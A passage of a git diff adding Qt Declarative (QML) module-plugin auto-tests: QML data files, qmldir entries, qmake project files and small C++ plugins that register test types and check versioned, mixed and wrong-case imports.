+ QVERIFY(QDeclarativeMetaType::defaultProperty((QObject *)0).name() == 0);
+ QVERIFY(QDeclarativeMetaType::defaultProperty(&o).name() == 0);
+ QVERIFY(QDeclarativeMetaType::defaultProperty(&p).name() == 0);
+ QCOMPARE(QString(QDeclarativeMetaType::defaultProperty(&t).name()), QString("foo"));
+}
+
+QTEST_MAIN(tst_qdeclarativemetatype)
+
+#include "tst_qdeclarativemetatype.moc"
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/data/importsMixedQmlCppPlugin.2.qml b/tests/auto/declarative/qdeclarativemoduleplugin/data/importsMixedQmlCppPlugin.2.qml
new file mode 100644
index 00000000..70b2bfd8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/data/importsMixedQmlCppPlugin.2.qml
@@ -0,0 +1,21 @@
+import com.nokia.AutoTestQmlMixedPluginType 1.5
+import QtQuick 1.0
+
+Item {
+ property bool test: false
+ property bool test2: false
+
+ Bar {
+ id: bar
+ }
+
+ Foo {
+ id: foo
+ }
+
+ Component.onCompleted: {
+ test = (bar.value == 16);
+ test2 = (foo.value == 89);
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/data/importsMixedQmlCppPlugin.qml b/tests/auto/declarative/qdeclarativemoduleplugin/data/importsMixedQmlCppPlugin.qml
new file mode 100644
index 00000000..da6ff465
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/data/importsMixedQmlCppPlugin.qml
@@ -0,0 +1,13 @@
+import com.nokia.AutoTestQmlMixedPluginType 1.0
+import QtQuick 1.0
+
+Item {
+ property bool test: false
+ Bar {
+ id: bar
+ }
+
+ Component.onCompleted: {
+ test = (bar.value == 16);
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/data/incorrectCase.qml b/tests/auto/declarative/qdeclarativemoduleplugin/data/incorrectCase.qml
new file mode 100644
index 00000000..a21ece70
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/data/incorrectCase.qml
@@ -0,0 +1,4 @@
+import com.nokia.WrongCase 1.0
+
+MyPluginType { value: 123 }
+
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/data/pluginWithQmlFile.qml b/tests/auto/declarative/qdeclarativemoduleplugin/data/pluginWithQmlFile.qml
new file mode 100644
index 00000000..a9e28e5d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/data/pluginWithQmlFile.qml
@@ -0,0 +1,3 @@
+import com.nokia.AutoTestPluginWithQmlFile 1.0
+
+MyQmlFile {}
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.2.errors.txt b/tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.2.errors.txt
new file mode 100644
index 00000000..a40c1c82
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.2.errors.txt
@@ -0,0 +1 @@
+1:1:module "com.nokia.AutoTestQmlVersionPluginType" version 1.9 is not installed
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.2.qml b/tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.2.qml
new file mode 100644
index 00000000..59fd084a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.2.qml
@@ -0,0 +1,5 @@
+import com.nokia.AutoTestQmlVersionPluginType 1.9
+import QtQuick 1.0
+
+QtObject {
+}
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.errors.txt b/tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.errors.txt
new file mode 100644
index 00000000..2634223d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.errors.txt
@@ -0,0 +1 @@
+1:1:module "com.nokia.AutoTestQmlVersionPluginType" version 1.1 is not installed
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.qml b/tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.qml
new file mode 100644
index 00000000..2065c071
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.qml
@@ -0,0 +1,6 @@
+import com.nokia.AutoTestQmlVersionPluginType 1.1
+import QtQuick 1.0
+
+QtObject {
+}
+
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/data/works.qml b/tests/auto/declarative/qdeclarativemoduleplugin/data/works.qml
new file mode 100644
index 00000000..f29ae24e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/data/works.qml
@@ -0,0 +1,3 @@
+import com.nokia.AutoTestQmlPluginType 1.0
+
+MyPluginType { value: 123 }
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/data/works2.qml b/tests/auto/declarative/qdeclarativemoduleplugin/data/works2.qml
new file mode 100644
index 00000000..cc322bf2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/data/works2.qml
@@ -0,0 +1,3 @@
+import com.nokia.AutoTestQmlPluginType 2.0
+
+MyPluginType { valueOnlyIn2: 123 }
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/data/works21.qml b/tests/auto/declarative/qdeclarativemoduleplugin/data/works21.qml
new file mode 100644
index 00000000..c08160ac
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/data/works21.qml
@@ -0,0 +1,3 @@
+import com.nokia.AutoTestQmlPluginType 2.1
+
+MyPluginType { valueOnlyIn2: 123 }
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestPluginWithQmlFile/MyQmlFile.qml b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestPluginWithQmlFile/MyQmlFile.qml
new file mode 100644
index 00000000..18dcd26f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestPluginWithQmlFile/MyQmlFile.qml
@@ -0,0 +1,3 @@
+import QtQuick 1.0
+
+Item {} \ No newline at end of file
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestPluginWithQmlFile/qmldir b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestPluginWithQmlFile/qmldir
new file mode 100644
index 00000000..858ba145
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestPluginWithQmlFile/qmldir
@@ -0,0 +1,3 @@
+MyQmlFile 1.0 MyQmlFile.qml
+plugin pluginWithQmlFile
+
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlMixedPluginType/Foo.qml b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlMixedPluginType/Foo.qml
new file mode 100644
index 00000000..ce51cbd2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlMixedPluginType/Foo.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+Item {
+ property int value: 89
+}
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlMixedPluginType/qmldir b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlMixedPluginType/qmldir
new file mode 100644
index 00000000..065dc3b2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlMixedPluginType/qmldir
@@ -0,0 +1,2 @@
+plugin pluginMixed
+Foo 1.5 Foo.qml
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType.2.1/qmldir b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType.2.1/qmldir
new file mode 100644
index 00000000..0a8b5d46
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType.2.1/qmldir
@@ -0,0 +1 @@
+plugin plugin
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType.2/qmldir b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType.2/qmldir
new file mode 100644
index 00000000..0a8b5d46
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType.2/qmldir
@@ -0,0 +1 @@
+plugin plugin
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType/qmldir b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType/qmldir
new file mode 100644
index 00000000..0a8b5d46
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType/qmldir
@@ -0,0 +1 @@
+plugin plugin
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlVersionPluginType/qmldir b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlVersionPluginType/qmldir
new file mode 100644
index 00000000..640967fe
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlVersionPluginType/qmldir
@@ -0,0 +1 @@
+plugin pluginVersion
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/ComponentA.qml b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/ComponentA.qml
new file mode 100644
index 00000000..49613aab
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/ComponentA.qml
@@ -0,0 +1,3 @@
+import QtQuick 1.0
+
+Item {}
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/ComponentB.qml b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/ComponentB.qml
new file mode 100644
index 00000000..f19a336d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/ComponentB.qml
@@ -0,0 +1,4 @@
+import QtQuick 1.0
+
+Item {}
+
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/qmldir b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/qmldir
new file mode 100644
index 00000000..167bb10c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/qmldir
@@ -0,0 +1,3 @@
+ComponentA 1.0 ComponentA.qml
+ComponentB 1.0 ComponentB.qml
+
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/WrongCase/qmldir b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/WrongCase/qmldir
new file mode 100644
index 00000000..6c878749
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/WrongCase/qmldir
@@ -0,0 +1 @@
+plugin PluGin
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2.1/plugin.2.1.pro b/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2.1/plugin.2.1.pro
new file mode 100644
index 00000000..661675ae
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2.1/plugin.2.1.pro
@@ -0,0 +1,9 @@
+TEMPLATE = lib
+CONFIG += plugin
+SOURCES = plugin.cpp
+QT = core declarative
+DESTDIR = ../imports/com/nokia/AutoTestQmlPluginType.2.1
+
+symbian: {
+ TARGET.EPOCALLOWDLLDATA=1
+}
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2.1/plugin.cpp b/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2.1/plugin.cpp
new file mode 100644
index 00000000..4774c329
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2.1/plugin.cpp
@@ -0,0 +1,84 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QStringList>
+#include <QtDeclarative/qdeclarativeextensionplugin.h>
+#include <QtDeclarative/qdeclarative.h>
+#include <QDebug>
+
+class MyPluginType : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int value READ value WRITE setValue)
+ Q_PROPERTY(int valueOnlyIn2 READ value WRITE setValue)
+
+public:
+ MyPluginType(QObject *parent=0) : QObject(parent)
+ {
+ qWarning("import2.1 worked");
+ }
+
+ int value() const { return v; }
+ void setValue(int i) { v = i; }
+
+private:
+ int v;
+};
+
+
+class MyPlugin : public QDeclarativeExtensionPlugin
+{
+ Q_OBJECT
+public:
+ MyPlugin()
+ {
+ qWarning("plugin2.1 created");
+ }
+
+ void registerTypes(const char *uri)
+ {
+ Q_ASSERT(QLatin1String(uri) == "com.nokia.AutoTestQmlPluginType");
+ qmlRegisterType<MyPluginType>(uri, 2, 1, "MyPluginType");
+ }
+};
+
+#include "plugin.moc"
+
+Q_EXPORT_PLUGIN2(plugin, MyPlugin);
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2/plugin.2.pro b/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2/plugin.2.pro
new file mode 100644
index 00000000..d2546429
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2/plugin.2.pro
@@ -0,0 +1,9 @@
+TEMPLATE = lib
+CONFIG += plugin
+SOURCES = plugin.cpp
+QT = core declarative
+DESTDIR = ../imports/com/nokia/AutoTestQmlPluginType.2
+
+symbian: {
+ TARGET.EPOCALLOWDLLDATA=1
+}
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2/plugin.cpp b/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2/plugin.cpp
new file mode 100644
index 00000000..271c59e5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/plugin.2/plugin.cpp
@@ -0,0 +1,84 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QStringList>
+#include <QtDeclarative/qdeclarativeextensionplugin.h>
+#include <QtDeclarative/qdeclarative.h>
+#include <QDebug>
+
+class MyPluginType : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int value READ value WRITE setValue)
+ Q_PROPERTY(int valueOnlyIn2 READ value WRITE setValue)
+
+public:
+ MyPluginType(QObject *parent=0) : QObject(parent)
+ {
+ qWarning("import2 worked");
+ }
+
+ int value() const { return v; }
+ void setValue(int i) { v = i; }
+
+private:
+ int v;
+};
+
+
+class MyPlugin : public QDeclarativeExtensionPlugin
+{
+ Q_OBJECT
+public:
+ MyPlugin()
+ {
+ qWarning("plugin2 created");
+ }
+
+ void registerTypes(const char *uri)
+ {
+ Q_ASSERT(QLatin1String(uri) == "com.nokia.AutoTestQmlPluginType");
+ qmlRegisterType<MyPluginType>(uri, 2, 0, "MyPluginType");
+ }
+};
+
+#include "plugin.moc"
+
+Q_EXPORT_PLUGIN2(plugin, MyPlugin);
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/plugin/plugin.cpp b/tests/auto/declarative/qdeclarativemoduleplugin/plugin/plugin.cpp
new file mode 100644
index 00000000..f023963b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/plugin/plugin.cpp
@@ -0,0 +1,83 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QStringList>
+#include <QtDeclarative/qdeclarativeextensionplugin.h>
+#include <QtDeclarative/qdeclarative.h>
+#include <QDebug>
+
+class MyPluginType : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int value READ value WRITE setValue)
+
+public:
+ MyPluginType(QObject *parent=0) : QObject(parent)
+ {
+ qWarning("import worked");
+ }
+
+ int value() const { return v; }
+ void setValue(int i) { v = i; }
+
+private:
+ int v;
+};
+
+
+class MyPlugin : public QDeclarativeExtensionPlugin
+{
+ Q_OBJECT
+public:
+ MyPlugin()
+ {
+ qWarning("plugin created");
+ }
+
+ void registerTypes(const char *uri)
+ {
+ Q_ASSERT(QLatin1String(uri) == "com.nokia.AutoTestQmlPluginType");
+ qmlRegisterType<MyPluginType>(uri, 1, 0, "MyPluginType");
+ }
+};
+
+#include "plugin.moc"
+
+Q_EXPORT_PLUGIN2(plugin, MyPlugin);
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/plugin/plugin.pro b/tests/auto/declarative/qdeclarativemoduleplugin/plugin/plugin.pro
new file mode 100644
index 00000000..173a3026
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/plugin/plugin.pro
@@ -0,0 +1,9 @@
+TEMPLATE = lib
+CONFIG += plugin
+SOURCES = plugin.cpp
+QT = core declarative
+DESTDIR = ../imports/com/nokia/AutoTestQmlPluginType
+
+symbian: {
+ TARGET.EPOCALLOWDLLDATA=1
+}
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/pluginMixed/plugin.cpp b/tests/auto/declarative/qdeclarativemoduleplugin/pluginMixed/plugin.cpp
new file mode 100644
index 00000000..460bcf87
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/pluginMixed/plugin.cpp
@@ -0,0 +1,73 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QStringList>
+#include <QtDeclarative/qdeclarativeextensionplugin.h>
+#include <QtDeclarative/qdeclarative.h>
+#include <QDebug>
+
+class BarPluginType : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int value READ value);
+
+public:
+ int value() const { return 16; }
+};
+
+
+class MyMixedPlugin : public QDeclarativeExtensionPlugin
+{
+ Q_OBJECT
+public:
+ MyMixedPlugin()
+ {
+ }
+
+ void registerTypes(const char *uri)
+ {
+ Q_ASSERT(QLatin1String(uri) == "com.nokia.AutoTestQmlMixedPluginType");
+ qmlRegisterType<BarPluginType>(uri, 1, 0, "Bar");
+ }
+};
+
+#include "plugin.moc"
+
+Q_EXPORT_PLUGIN2(plugin, MyMixedPlugin);
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/pluginMixed/pluginMixed.pro b/tests/auto/declarative/qdeclarativemoduleplugin/pluginMixed/pluginMixed.pro
new file mode 100644
index 00000000..9766003e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/pluginMixed/pluginMixed.pro
@@ -0,0 +1,9 @@
+TEMPLATE = lib
+CONFIG += plugin
+SOURCES = plugin.cpp
+QT = core declarative
+DESTDIR = ../imports/com/nokia/AutoTestQmlMixedPluginType
+
+symbian: {
+ TARGET.EPOCALLOWDLLDATA=1
+}
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/pluginVersion/plugin.cpp b/tests/auto/declarative/qdeclarativemoduleplugin/pluginVersion/plugin.cpp
new file mode 100644
index 00000000..427bf648
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/pluginVersion/plugin.cpp
@@ -0,0 +1,73 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QStringList>
+#include <QtDeclarative/qdeclarativeextensionplugin.h>
+#include <QtDeclarative/qdeclarative.h>
+#include <QDebug>
+
+class FloorPluginType : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int value READ value);
+
+public:
+ int value() const { return 16; }
+};
+
+
+class MyMixedPlugin : public QDeclarativeExtensionPlugin
+{
+ Q_OBJECT
+public:
+ MyMixedPlugin()
+ {
+ }
+
+ void registerTypes(const char *uri)
+ {
+ Q_ASSERT(QLatin1String(uri) == "com.nokia.AutoTestQmlVersionPluginType");
+ qmlRegisterType<FloorPluginType>(uri, 1, 4, "Floor");
+ }
+};
+
+#include "plugin.moc"
+
+Q_EXPORT_PLUGIN2(plugin, MyMixedPlugin);
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/pluginVersion/pluginVersion.pro b/tests/auto/declarative/qdeclarativemoduleplugin/pluginVersion/pluginVersion.pro
new file mode 100644
index 00000000..70a38b9a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/pluginVersion/pluginVersion.pro
@@ -0,0 +1,9 @@
+TEMPLATE = lib
+CONFIG += plugin
+SOURCES = plugin.cpp
+QT = core declarative
+DESTDIR = ../imports/com/nokia/AutoTestQmlVersionPluginType
+
+symbian: {
+ TARGET.EPOCALLOWDLLDATA=1
+}
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/pluginWithQmlFile/plugin.cpp b/tests/auto/declarative/qdeclarativemoduleplugin/pluginWithQmlFile/plugin.cpp
new file mode 100644
index 00000000..1b5a9d85
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/pluginWithQmlFile/plugin.cpp
@@ -0,0 +1,58 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QStringList>
+#include <QtDeclarative/qdeclarativeextensionplugin.h>
+#include <QtDeclarative/qdeclarative.h>
+#include <QDebug>
+
+class MyPlugin : public QDeclarativeExtensionPlugin
+{
+ Q_OBJECT
+public:
+ void registerTypes(const char *uri)
+ {
+ Q_ASSERT(QLatin1String(uri) == "com.nokia.AutoTestPluginWithQmlFile");
+ }
+};
+
+#include "plugin.moc"
+
+Q_EXPORT_PLUGIN2(plugin, MyPlugin);
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/pluginWithQmlFile/pluginWithQmlFile.pro b/tests/auto/declarative/qdeclarativemoduleplugin/pluginWithQmlFile/pluginWithQmlFile.pro
new file mode 100644
index 00000000..aa9c95c4
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/pluginWithQmlFile/pluginWithQmlFile.pro
@@ -0,0 +1,9 @@
+TEMPLATE = lib
+CONFIG += plugin
+SOURCES = plugin.cpp
+QT = core declarative
+DESTDIR = ../imports/com/nokia/AutoTestPluginWithQmlFile
+
+symbian: {
+ TARGET.EPOCALLOWDLLDATA=1
+}
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/pluginWrongCase/plugin.cpp b/tests/auto/declarative/qdeclarativemoduleplugin/pluginWrongCase/plugin.cpp
new file mode 100644
index 00000000..8397dbf3
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/pluginWrongCase/plugin.cpp
@@ -0,0 +1,83 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
